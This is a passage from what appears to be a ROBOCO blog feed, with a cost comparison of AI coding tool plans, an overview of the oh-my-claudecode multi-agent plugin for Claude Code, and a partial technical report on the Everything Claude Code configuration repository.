<p>Today&rsquo;s AI coding tools do not show you token usage limits directly. Instead they abstract usage into things like &ldquo;messages per 5 hours,&rdquo; &ldquo;tasks per day,&rdquo; or a &ldquo;monthly credit pool.&rdquo; That is easier on users, but it makes comparison much harder. At the same $200 a month, one person gets blocked inside a &ldquo;5-hour window,&rdquo; another burns through a &ldquo;credit pool,&rdquo; and a third runs into a &ldquo;task count&rdquo; limit.</p>
<p>What matters to heavy users and enterprise users is not average cost but scalability at peak workload. There are days when you simply have to burn a lot of tokens — the end of a sprint, an incident response, a large-scale refactor — and when the tool blocks you on one of those days, the work ends up falling back on a human. From that moment on, cost-effectiveness stops being a number and becomes <strong>the cost of a team bottleneck</strong>.</p>
<hr>
<h2 id="what-production-cost-effectiveness-means-to-enterprises-and-heavy-users">What &ldquo;production cost-effectiveness&rdquo; means to enterprises and heavy users</h2>
<p>In a company, &ldquo;cost-effectiveness&rdquo; is not simply dollars per month. It looks roughly like this.</p>
<p>First, <strong>throughput</strong>. Does it let you finish more work in the same amount of time, and does it keep you from hitting a limit on the days that matter?</p>
<p>Second, <strong>operability</strong>. Without management features like SSO, SCIM, audit logs, and permissions, the security or compliance team will eventually block it. The cost of &ldquo;getting approval&rdquo; exceeds the cost of the tool itself.</p>
<p>Third, <strong>predictability</strong>. The further a heavy user gets up the learning curve, the larger the units of work they delegate (longer context), the more often they run things repeatedly (more calls), and the more documents they produce (more tokens). As maturity rises, the cost structure has to be one that &ldquo;doesn&rsquo;t kill the team.&rdquo;</p>
<hr>
<h2 id="why-tools-from-model-providers-gain-an-edge-nonlinear-usage-and-optimization">Why tools from model providers gain an edge: nonlinear usage and optimization</h2>
<p>Here is where an important difference emerges. <strong>Vibe coding tools built by the model provider themselves</strong> have an easier time designing &ldquo;usage per plan upgrade&rdquo; nonlinearly. In other words, going from $100 to $200 does not have to mean &ldquo;exactly 2x&rdquo; — depending on the nature of the work, the plan can open up <strong>considerably more headroom than that</strong>.</p>
<p>For example (the numbers here are illustrative), there are cases where the $200/month Claude Code Max plan opens up roughly 5x the usage ceiling of the $100 plan. By contrast, usage-based model consumption like Amazon Kiro&rsquo;s is closer to a structure where $200 &ldquo;buys&rdquo; exactly twice the tokens of $100. This difference shows up dramatically once your vibe coding maturity rises and you start burning more tokens. The more an organization uses, the more the mere existence of that nonlinear range becomes the value proposition.</p>
<p>The other factor is <strong>the structure of token waste</strong>. Tools built directly by a model provider can design optimizations like prompt caching, context compaction, and internal routing at the product level. Third-party tools, on the other hand, can end up with longer system prompts or more calls because of proxy layers and extra orchestration, so producing &ldquo;the same result&rdquo; costs more total tokens. For a heavy user, that difference is felt &ldquo;every day,&rdquo; not at the end of the month.</p>
<hr>
<h2 id="for-reference-how-limits-differ-across-plans-around-the-200-mark">(For reference) How limits differ across plans around the $200 mark</h2>
<p>The table below is a summary meant to give you a feel not for &ldquo;price&rdquo; but for &ldquo;where you get blocked&rdquo; at peak workload. The figures reflect the point at which I researched them, and policies change often, so please verify against the latest information.</p>
<table>
  <thead>
      <tr>
          <th>Tool</th>
          <th>Monthly cost</th>
          <th>How limits are imposed (summary)</th>
          <th>Context (summary)</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Claude Code (Max)</td>
          <td>~$200</td>
          <td>Usage based on a 5-hour rolling window</td>
          <td>200K (1M beta)</td>
      </tr>
      <tr>
          <td>OpenAI Codex/ChatGPT (Pro)</td>
          <td>~$200</td>
          <td>Message/task limits per 5-hour period</td>
          <td>Up to the 400K class</td>
      </tr>
      <tr>
          <td>Cursor (Ultra)</td>
          <td>~$200</td>
          <td>Monthly credit pool (usage converted into money)</td>
          <td>200K-1M depending on the model</td>
      </tr>
      <tr>
          <td>Amazon Kiro (Power)</td>
          <td>~$200</td>
          <td>Monthly credits (metered precisely to 0.01)</td>
          <td>200K</td>
      </tr>
      <tr>
          <td>Google Gemini (Ultra)</td>
          <td>~$250</td>
          <td>Daily task count (on an agent basis)</td>
          <td>1M</td>
      </tr>
  </tbody>
</table>
<p>The table carries one message above all. Even at the same &ldquo;$200,&rdquo; <strong>the way you get limited is completely different.</strong> So for a heavy user, cost-effectiveness is determined less by &ldquo;token pricing&rdquo; than by &ldquo;where my workflow gets blocked first.&rdquo;</p>
<hr>
<h2 id="in-enterprise-plans-real-value-comes-from-control-not-usage">In enterprise plans, real value comes from &ldquo;control,&rdquo; not &ldquo;usage&rdquo;</h2>
<p>Look at enterprise plans and you will find that even when the monthly cost looks similar, what actually decides adoption is often management features rather than usage. You need SSO, SCIM, and audit logs to run accounts and permissions in line with organizational policy, and to trace &ldquo;which input produced which result&rdquo; when a security incident or compliance issue comes up. In heavily regulated industries such as healthcare and finance in particular, these features effectively determine whether adoption is possible at all.</p>
<p>So for enterprise users, cost-effectiveness ends up meaning not &ldquo;a cheap tool&rdquo; but &ldquo;a tool you can get approved and actually run.&rdquo; From that angle, model-provider and cloud-native tools have the advantage because they often complete the <strong>management, audit, and compliance package</strong> before they get to cost and usage.</p>
<hr>
<h2 id="for-third-party-tools-value-has-to-account-for-margin-plus-overhead">For third-party tools, value has to account for &ldquo;margin plus overhead&rdquo;</h2>
<p>None of this means third-party IDEs are bad. Switching among multiple models in a single screen, or running a team-wide credit pool, is genuinely powerful in practice. But for a heavy user, &ldquo;hidden costs&rdquo; appear. A credit pool model is flexible, for instance, yet internally it may add a margin on top of API pricing (roughly 20% based on my research), and the more agent orchestration you turn on, the more calls you make and the <strong>faster your credits melt away</strong> than you expected.</p>
<p>Conversely, a structure that meters credits very precisely with clear per-unit overage pricing (credit-based overage charges, for example) helps with budget management. That said, such a structure is usually close to &ldquo;linear,&rdquo; which makes it a different animal from the &ldquo;nonlinear usage (headroom)&rdquo; described earlier. The choice comes down to what a given company values more.</p>
<hr>
<h2 id="conclusion-the-default-for-2026-is-claude-code-for-enterprises-and-heavy-users">Conclusion: the default for 2026 is Claude Code (for enterprises and heavy users)</h2>
<p>From an enterprise or heavy-user standpoint, &ldquo;production-level cost-effectiveness&rdquo; ultimately has to satisfy all three of <strong>(1) generous headroom, (2) real operational features, and (3) a cost structure that gets more favorable as maturity rises</strong>. On that view, Claude Code is the most convincing default for 2026. In particular, if the higher-tier or team/enterprise plans include a &ldquo;range where usage grows nonlinearly relative to the plan upgrade,&rdquo; the cost advantage only gets larger as vibe coding maturity increases.</p>
<p>That said, this conclusion is not &ldquo;always, unconditionally.&rdquo; If you do a lot of analysis work that has to swallow an entire monorepo in one go, an ecosystem that aggressively offers 1M context may serve you better; and if AWS-native integration and budget predictability are your top priorities, a credit-based tool may be the better fit. Even so, for most organizations the safest first answer remains: &ldquo;make the tools the model providers offer directly — Claude Code, Gemini/Antigravity, Codex — your default, and design your operations around them.&rdquo;</p>
]]></content>
        </item>
        
        <item>
            <title>Oh My Claude Code - The Plugin That Turns Claude Code Into a &#39;Team&#39;</title>
            <link>https://roboco.io/en/posts/oh-my-claudecode-distilled/</link>
            <pubDate>Wed, 21 Jan 2026 22:03:59 +0900</pubDate>
            <author>contact@roboco.io (ROBOCO)</author>
            <guid>https://roboco.io/en/posts/oh-my-claudecode-distilled/</guid>
            <description>&lt;blockquote&gt;
&lt;p&gt;“Don’t learn Claude Code. Just use OMC.” – &lt;em&gt;oh-my-claudecode&lt;/em&gt; README&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;figure&gt;&lt;img src=&#34;https://roboco.io/posts/images/Dohyun.png&#34;&gt;&lt;figcaption&gt;
      &lt;h4&gt;Dohyun Jung - Principal Consultant, ROBOCO&lt;/h4&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;hr&gt;
&lt;p&gt;oh-my-claudecode (OMC) is a plugin that layers &amp;ldquo;multi-agent orchestration&amp;rdquo; on top of Claude Code.&lt;sup id=&#34;fnref1:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt; Its goal is to &lt;strong&gt;automatically activate the behaviors you need — planning, parallelization, persistent execution, research, design sensibility — using your natural-language request as the cue&lt;/strong&gt;, so you never have to learn concepts like subagents, skills, and hooks one at a time.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<blockquote>
<p>“Don’t learn Claude Code. Just use OMC.” – <em>oh-my-claudecode</em> README<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></p>
</blockquote>
<figure><img src="/posts/images/Dohyun.png"><figcaption>
      <h4>Dohyun Jung - Principal Consultant, ROBOCO</h4>
    </figcaption>
</figure>

<hr>
<p>oh-my-claudecode (OMC) is a plugin that layers &ldquo;multi-agent orchestration&rdquo; on top of Claude Code.<sup id="fnref1:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> Its goal is to <strong>automatically activate the behaviors you need — planning, parallelization, persistent execution, research, design sensibility — using your natural-language request as the cue</strong>, so you never have to learn concepts like subagents, skills, and hooks one at a time.</p>
<p>This piece is a technical report that pulls together, in a single readable pass, what problem OMC is trying to solve, why this approach makes sense in Claude Code specifically, and which workflows it is especially strong in.</p>
<p><strong><a href="https://github.com/Yeachan-Heo/oh-my-claudecode">oh-my-claudecode</a></strong></p>
<hr>
<h2 id="tldr">TL;DR</h2>
<ul>
<li>OMC is a plugin that bundles Claude Code&rsquo;s subagents, skills, and hooks so that a natural-language request alone automatically assembles the working mode you need.</li>
<li>Its core value is cutting the burden of learning commands and letting workflows like planning, parallelization, research, and design sensibility activate naturally inside Claude Code.</li>
<li>It boosts productivity above all when complex development work has to be split by role and driven all the way to completion.</li>
</ul>
<h2 id="1-project-overview">1. Project Overview</h2>
<p>The one-line summary OMC leads with is &ldquo;Multi-agent orchestration for Claude Code. Zero learning curve.&rdquo;<sup id="fnref2:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> There are two essentials.</p>
<ol>
<li><strong>Delegation-first</strong>: say &ldquo;this is a complex task&rdquo; and it splits the work into specialized roles — design, research, execution, QA — and runs them in parallel.</li>
<li><strong>Automatic mode switching</strong>: it detects phrasing like &ldquo;plan this&rdquo; or &ldquo;don&rsquo;t stop until done&rdquo; and turns on a planning interview or a persistent-execution (completion-guaranteeing) disposition.</li>
</ol>
<p>The &ldquo;Under the hood&rdquo; diagram published in the repository shows that OMC is not a mere collection of prompts but a package that ties Claude Code&rsquo;s extension points (agents/skills/hooks/statusline) into <strong>real working workflows</strong>.<sup id="fnref3:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></p>
<hr>
<h2 id="2-installation-and-usage-flow-genuinely-30-seconds">2. Installation and Usage Flow (Genuinely 30 Seconds)</h2>
<p>Per the README, the usage flow is simple.<sup id="fnref4:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>/plugin marketplace add https://github.com/Yeachan-Heo/oh-my-claudecode
</span></span><span style="display:flex;"><span>/plugin install oh-my-claudecode
</span></span><span style="display:flex;"><span>/oh-my-claudecode:omc-setup
</span></span></code></pre></div><p>After installation, instead of &ldquo;memorizing commands,&rdquo; you just assign work the way you normally would. OMC reads the hints in your sentence and internally composes the right skills and subagents.<sup id="fnref5:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></p>
<hr>
<h2 id="3-why-skill-composition-is-the-core-idea">3. Why &lsquo;Skill Composition&rsquo; Is the Core Idea</h2>
<p>What makes OMC interesting is that it takes Claude Code&rsquo;s constraints head-on. Claude Code does not swap out the conversation&rsquo;s &ldquo;master&rdquo; for a different agent; it <strong>changes behavior by injecting skills into a fixed master</strong>.<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup></p>
<p>OMC organizes this structure into &ldquo;layers.&rdquo;<sup id="fnref1:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>[Execution Skill] + [0-N Enhancement Skills] + [Optional Guarantee]
</span></span></code></pre></div><p>For example, if you need &ldquo;UI work + edits across several files + a commit at the end,&rdquo; it stacks enhancement layers such as <code>frontend-ui-ux</code> and <code>git-master</code> on top of the execution (base) layer.<sup id="fnref2:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup> In other words, it is not about &lsquo;switching&rsquo; modes but about <strong>stacking behaviors in layers</strong>, so context is never broken.</p>
<hr>
<h2 id="4-magic-keywords-for-power-users">4. &lsquo;Magic Keywords&rsquo; for Power Users</h2>
<p>Most of it is automatic, but you can force behavior with keywords when you need to.<sup id="fnref6:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></p>
<table>
  <thead>
      <tr>
          <th>Keyword</th>
          <th>Effect</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><code>ralph</code></td>
          <td>Persistent execution that does not stop until done</td>
      </tr>
      <tr>
          <td><code>ralplan</code></td>
          <td>Iterative planning that builds consensus</td>
      </tr>
      <tr>
          <td><code>ulw</code></td>
          <td>Maximum parallel execution (ultrawork)</td>
      </tr>
      <tr>
          <td><code>plan</code></td>
          <td>Start a planning interview</td>
      </tr>
      <tr>
          <td><code>autopilot</code> / <code>ap</code></td>
          <td>Autonomous execution flow</td>
      </tr>
  </tbody>
</table>
<p>And when you want it to stop, saying something like &ldquo;stop/cancel/abort&rdquo; halts it in a context-appropriate way.<sup id="fnref7:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></p>
<hr>
<h2 id="5-what-the-omc-package-includes">5. What the OMC &lsquo;Package&rsquo; Includes</h2>
<p>Per the official documentation, OMC delivers the following all at once.<sup id="fnref8:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup><sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup></p>
<ul>
<li><strong>A set of specialized agents (27)</strong>: role groups such as architect, researcher, designer, writer, critic, planner, and qa-tester (including tier variants)<sup id="fnref9:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></li>
<li><strong>A set of skills (28)</strong>: orchestrate, ultrawork, ralph, planner, git-master, frontend-ui-ux, learner, and more<sup id="fnref10:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></li>
<li><strong>HUD Statusline</strong>: a summary of orchestration progress displayed in the Claude Code status bar<sup id="fnref11:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></li>
<li><strong>Memory/note system</strong>: a 3-tier memory idea (priority / working memory / manual notes) aimed at preserving key information even after context compaction<sup id="fnref1:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup></li>
</ul>
<p>The concrete internals and the routing philosophy are explained in <code>docs/ARCHITECTURE.md</code> from the perspective of &ldquo;how to make skill-based routing work like an operating system.&rdquo;<sup id="fnref3:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup></p>
<hr>
<h2 id="6-when-it-is-especially-useful-and-what-the-trade-offs-are">6. When It Is Especially Useful, and What the Trade-offs Are</h2>
<p>OMC shines particularly in the following situations.</p>
<ol>
<li><strong>Multi-file, multi-role work</strong>: feature development where design, implementation, and verification all have to run at once</li>
<li><strong>Long sessions where context keeps collapsing</strong>: the pattern of leaving behind &ldquo;things not to forget&rdquo; in notes and memory</li>
<li><strong>When you need a plan but don&rsquo;t want to spend the time</strong>: a flow where the single word &ldquo;plan&rdquo; forces a planning interview</li>
</ol>
<p>On the other hand, there are clear costs.</p>
<ol>
<li><strong>More tokens, more time, more money</strong>: parallelization and enhancement skills inherently induce more calls and more thinking.</li>
<li><strong>Opacity of automation</strong>: it may not be immediately obvious &ldquo;why it just did that.&rdquo;</li>
<li><strong>Plugin operational risk</strong>: the more autonomous the execution, the more sensitive you become to permissions and guardrails (halting commands, limiting scope).</li>
</ol>
<hr>
<h2 id="7-closing-thoughts">7. Closing Thoughts</h2>
<p>oh-my-claudecode goes beyond &ldquo;tips for using Claude Code well&rdquo; and provides <strong>a set of defaults for using Claude Code like a team</strong>.<sup id="fnref12:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> By leaning directly into skill composition — the structure of Claude Code itself — the user gives instructions in natural language while the system assembles planning, parallelization, and completion guarantees on its own. If you see Claude Code as an &lsquo;operating environment&rsquo; rather than a &rsquo;tool&rsquo;, OMC makes a fairly persuasive starting point.</p>
<hr>
<h2 id="references">References</h2>
<ul>
<li><a href="https://github.com/Yeachan-Heo/oh-my-claudecode">Yeachan Heo, <em>oh-my-claudecode</em> (GitHub)</a></li>
<li><a href="https://github.com/Yeachan-Heo/oh-my-claudecode/blob/main/docs/ARCHITECTURE.md">oh-my-claudecode, <em>ARCHITECTURE</em></a></li>
<li><a href="https://github.com/Yeachan-Heo/oh-my-claudecode/blob/main/docs/FULL-README.md">oh-my-claudecode, <em>Full Reference Documentation</em></a></li>
<li><a href="https://docs.anthropic.com/claude-code">Anthropic, <em>Claude Code Docs</em></a></li>
</ul>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p><a href="https://github.com/Yeachan-Heo/oh-my-claudecode">https://github.com/Yeachan-Heo/oh-my-claudecode</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref2:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref3:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref4:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref5:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref6:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref7:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref8:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref9:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref10:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref11:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref12:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p><a href="https://github.com/Yeachan-Heo/oh-my-claudecode/blob/main/docs/ARCHITECTURE.md">https://github.com/Yeachan-Heo/oh-my-claudecode/blob/main/docs/ARCHITECTURE.md</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref2:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref3:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p><a href="https://github.com/Yeachan-Heo/oh-my-claudecode/blob/main/docs/FULL-README.md">https://github.com/Yeachan-Heo/oh-my-claudecode/blob/main/docs/FULL-README.md</a>&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content>
        </item>
        
        <item>
            <title>Everything Claude Code: A Hackathon Winner&#39;s Recipe for an AI Dev Team</title>
            <link>https://roboco.io/en/posts/everything-claude-code-distilled/</link>
            <pubDate>Tue, 20 Jan 2026 09:30:07 +0900</pubDate>
            <author>contact@roboco.io (ROBOCO)</author>
            <guid>https://roboco.io/en/posts/everything-claude-code-distilled/</guid>
            <description>&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;If you want to bring AI onto the team, you have to design the process before the tools.&amp;rdquo; – Affaan Mustafa, winner of the Anthropic x Forum Ventures hackathon&lt;/p&gt;
&lt;/blockquote&gt;
&lt;figure&gt;&lt;img src=&#34;https://roboco.io/posts/images/Dohyun.png&#34;&gt;&lt;figcaption&gt;
      &lt;h4&gt;Dohyun Jung - Principal Consultant, ROBOCO&lt;/h4&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;hr&gt;
&lt;p&gt;Everything Claude Code is a collection of configurations that turns the Claude Code CLI into a &lt;strong&gt;virtual development team environment&lt;/strong&gt;. A hackathon winner spent ten months refining these recipes while building an actual startup product, then gathered them all into one public repository; apply them and you can summon Claude as a &amp;ldquo;senior engineer + QA + architect.&amp;rdquo;&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt; The repository is open for anyone to inspect on GitHub.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<blockquote>
<p>&ldquo;If you want to bring AI onto the team, you have to design the process before the tools.&rdquo; – Affaan Mustafa, winner of the Anthropic x Forum Ventures hackathon</p>
</blockquote>
<figure><img src="/posts/images/Dohyun.png"><figcaption>
      <h4>Dohyun Jung - Principal Consultant, ROBOCO</h4>
    </figcaption>
</figure>

<hr>
<p>Everything Claude Code is a collection of configurations that turns the Claude Code CLI into a <strong>virtual development team environment</strong>. A hackathon winner spent ten months refining these recipes while building an actual startup product, then gathered them all into one public repository; apply them and you can summon Claude as a &ldquo;senior engineer + QA + architect.&rdquo;<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> The repository is open for anyone to inspect on GitHub.</p>
<p><strong><a href="https://github.com/affaan-m/everything-claude-code">Everything Claude Code</a></strong></p>
<p>This article is a technical report that lays out the repository structure, how it uses the Claude API, its technology stack, and what set it apart on the way to winning the hackathon. It closes with the current limitations and ideas for improvement.</p>
<hr>
<h2 id="tldr">TL;DR</h2>
<ul>
<li>Everything Claude Code is a set of configurations for running the Claude Code CLI like a virtual development team with separated roles.</li>
<li>It combines agents, skills, slash commands, rules, and hooks to turn planning, TDD, review, and documentation into a repeatable flow.</li>
<li>The point is not to bolt on as many tools as possible, but to enable only the context and guardrails you actually need so that Claude can work reliably.</li>
</ul>
<hr>
<h2 id="1-project-overview">1. Project Overview</h2>
<p>Everything Claude Code is designed around a clear philosophy: &ldquo;run Claude as a multi-role agent team.&rdquo;<sup id="fnref1:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> The main session plays project manager, and the detailed work is carried out in parallel by a variety of subagents. The author also shared a real-world case study: with this setup, he built <strong>zenith.chat</strong> entirely with Claude Code and won the Anthropic x Forum Ventures hackathon in September 2025.<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup></p>
<p>The core value proposition has three parts.</p>
<ol>
<li><strong>Role separation</strong>: separating prompts, tool permissions, and tone by role sharpens the LLM&rsquo;s focus.</li>
<li><strong>Process standardization</strong>: slash commands like <code>/plan</code>, <code>/tdd</code>, and <code>/code-review</code> automate development routines.</li>
<li><strong>Quality guardrails</strong>: rules, skills, and hooks combine to enforce security, testing, and style.</li>
</ol>
<p>Building on that philosophy, the repository as a whole forms a complete development pipeline in which &ldquo;the AI learns the project history and runs the tools itself.&rdquo;</p>
<hr>
<h2 id="2-repository-structure-and-architecture">2. Repository Structure and Architecture</h2>
<p>The repository manages the context Claude Code needs by splitting it into role-specific folders. In practice, users copy the files they need into their own <code>~/.claude</code> or into a <code>.claude</code> directory at the project root to activate them.</p>
<h3 id="21-agents">2.1 Agents</h3>
<p><code>agents/</code> is a collection of role-specialized prompts. Representative examples include <code>planner</code>, <code>architect</code>, <code>code-reviewer</code>, <code>security-reviewer</code>, <code>tdd-guide</code>, <code>build-error-resolver</code>, <code>e2e-runner</code>, <code>refactor-cleaner</code>, and <code>doc-updater</code>.<sup id="fnref1:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup> Each file uses YAML frontmatter to define the model (<code>opus</code>), the allowed tools (<code>Read</code>, <code>Grep</code>, <code>Bash</code>, and so on), and a description, while the body holds the role-specific instructions. The central design perspective is to <strong>keep tools to a minimum</strong> in order to increase focus and prevent role conflicts between agents.</p>
<h3 id="22-skills">2.2 Skills</h3>
<p><code>skills/</code> is the team&rsquo;s shared operating manual. It includes <code>coding-standards.md</code>, <code>backend-patterns.md</code>, <code>frontend-patterns.md</code>, <code>security-review/</code>, <code>tdd-workflow/</code>, and more.<sup id="fnref2:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup> <code>tdd-workflow</code> in particular spells out the RED→GREEN→REFACTOR loop and the 80% coverage requirement in detail, so that Claude automatically reminds itself of test-driven development. Skills can be operated in two tiers: organization-wide (<code>~/.claude/skills</code>) and project-specific (<code>.claude/skills</code>).</p>
<h3 id="23-commands">2.3 Commands</h3>
<p><code>commands/</code> holds slash command prompts such as <code>/plan</code>, <code>/tdd</code>, <code>/e2e</code>, <code>/code-review</code>, <code>/build-fix</code>, <code>/refactor-clean</code>, <code>/test-coverage</code>, and <code>/update-docs</code>.<sup id="fnref3:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup> The user simply types a command in the chat, and the prompt matching that procedure is loaded along with the skills and agents it needs. That makes it possible to run a whole development flow — &ldquo;plan the feature → run TDD → review the code → sync the docs&rdquo; — at the press of a button.</p>
<h3 id="24-rules">2.4 Rules</h3>
<p><code>rules/</code> contains the guardrails that always apply. It is modularized into files such as <code>security.md</code>, <code>coding-style.md</code>, <code>testing.md</code>, <code>git-workflow.md</code>, <code>agents.md</code>, <code>performance.md</code>, <code>patterns.md</code>, and <code>hooks.md</code>, and Claude Code automatically injects every rule in this folder into the system prompt. For example, <code>testing.md</code> states a &ldquo;no PRs below 80% coverage&rdquo; rule so the model will not allow tests to be skipped.</p>
<h3 id="25-hooks">2.5 Hooks</h3>
<p><code>hooks/hooks.json</code> defines automation scripts to run at Pre/Post ToolUse points. Examples include a hook that warns when a <code>console.log</code> is left behind after editing a TypeScript file, and one that runs a formatter before the session ends.<sup id="fnref4:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup> A hook matcher specifies the tool name and file pattern, and the hook is configured to run a Bash command or an additional command. It acts as a safety net that automatically watches for recurring mistakes such as forgotten debug code or missing tests.</p>
<h3 id="26-mcp-configuration">2.6 MCP Configuration</h3>
<p><code>mcp-configs/</code> provides configuration templates for a number of MCP servers, including GitHub, Supabase, Vercel, Railway, and ClickHouse.<sup id="fnref2:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> Users paste the entries they need into <code>~/.claude/settings.json</code> and fill in the API keys, after which Claude can call those service APIs directly. The README also offers a guideline: &ldquo;no more than 10 active MCPs per project, and no more than 80 tools total.&rdquo; Enabling too many MCPs eats into the context window and degrades model performance.</p>
<h3 id="27-plugins--examples">2.7 Plugins &amp; Examples</h3>
<p><code>plugins/</code> is a set of documents explaining the Claude Skills Marketplace and how to install external plugins. The <code>examples/</code> folder includes project-level (<code>CLAUDE.md</code>) and user-level (<code>user-CLAUDE.md</code>) configuration samples along with a custom <code>statusline.json</code>, so new users can copy them verbatim and get started. The result is that the repository doubles as both a reference implementation and a template set.</p>
<hr>
<h2 id="3-principles-for-using-the-claude-api">3. Principles for Using the Claude API</h2>
<p>The AI usage principles Everything Claude Code emphasizes boil down to these four.</p>
<ol>
<li>
<p><strong>Multi-agent parallelization</strong><br>
The main session sets the overall direction while subagents take delegated responsibility for the details. Because each agent handles only its own domain context, response quality and speed stay consistent.<sup id="fnref3:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></p>
</li>
<li>
<p><strong>TDD and test-first</strong><br>
The <code>/tdd</code> command and the <code>tdd-workflow</code> skill enforce the RED→GREEN→REFACTOR cycle, and the <code>testing.md</code> rule requires at least 80% coverage. Whenever Claude receives a feature request, it always raises the need to add tests.</p>
</li>
<li>
<p><strong>Security and quality guardrails</strong><br>
<code>security.md</code> codifies rules against hardcoded secrets and requirements for input validation, error handling, and vulnerable-library checks. The <code>/code-review</code> command and the <code>code-reviewer</code> agent make AI review code that AI wrote, forming a self-refining loop.</p>
</li>
<li>
<p><strong>Context budget management</strong><br>
The more MCPs, rules, skills, and tools you enable, the more bloated the system prompt becomes, so the README repeatedly stresses &ldquo;enable only the configuration you need.&rdquo;<sup id="fnref5:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup> Keeping a minimal per-project setup to preserve focus is what determines how efficiently you can use Claude.</p>
</li>
</ol>
<p>Because of these principles, Claude Code functions not as a simple code completion tool but as a <strong>prompt engineering + workflow engine</strong>.</p>
<hr>
<h2 id="4-technology-stack-and-toolchain">4. Technology Stack and Toolchain</h2>
<p>Everything Claude Code is itself a Markdown- and JSON-based configuration collection, but the following stack sits behind it.</p>
<ul>
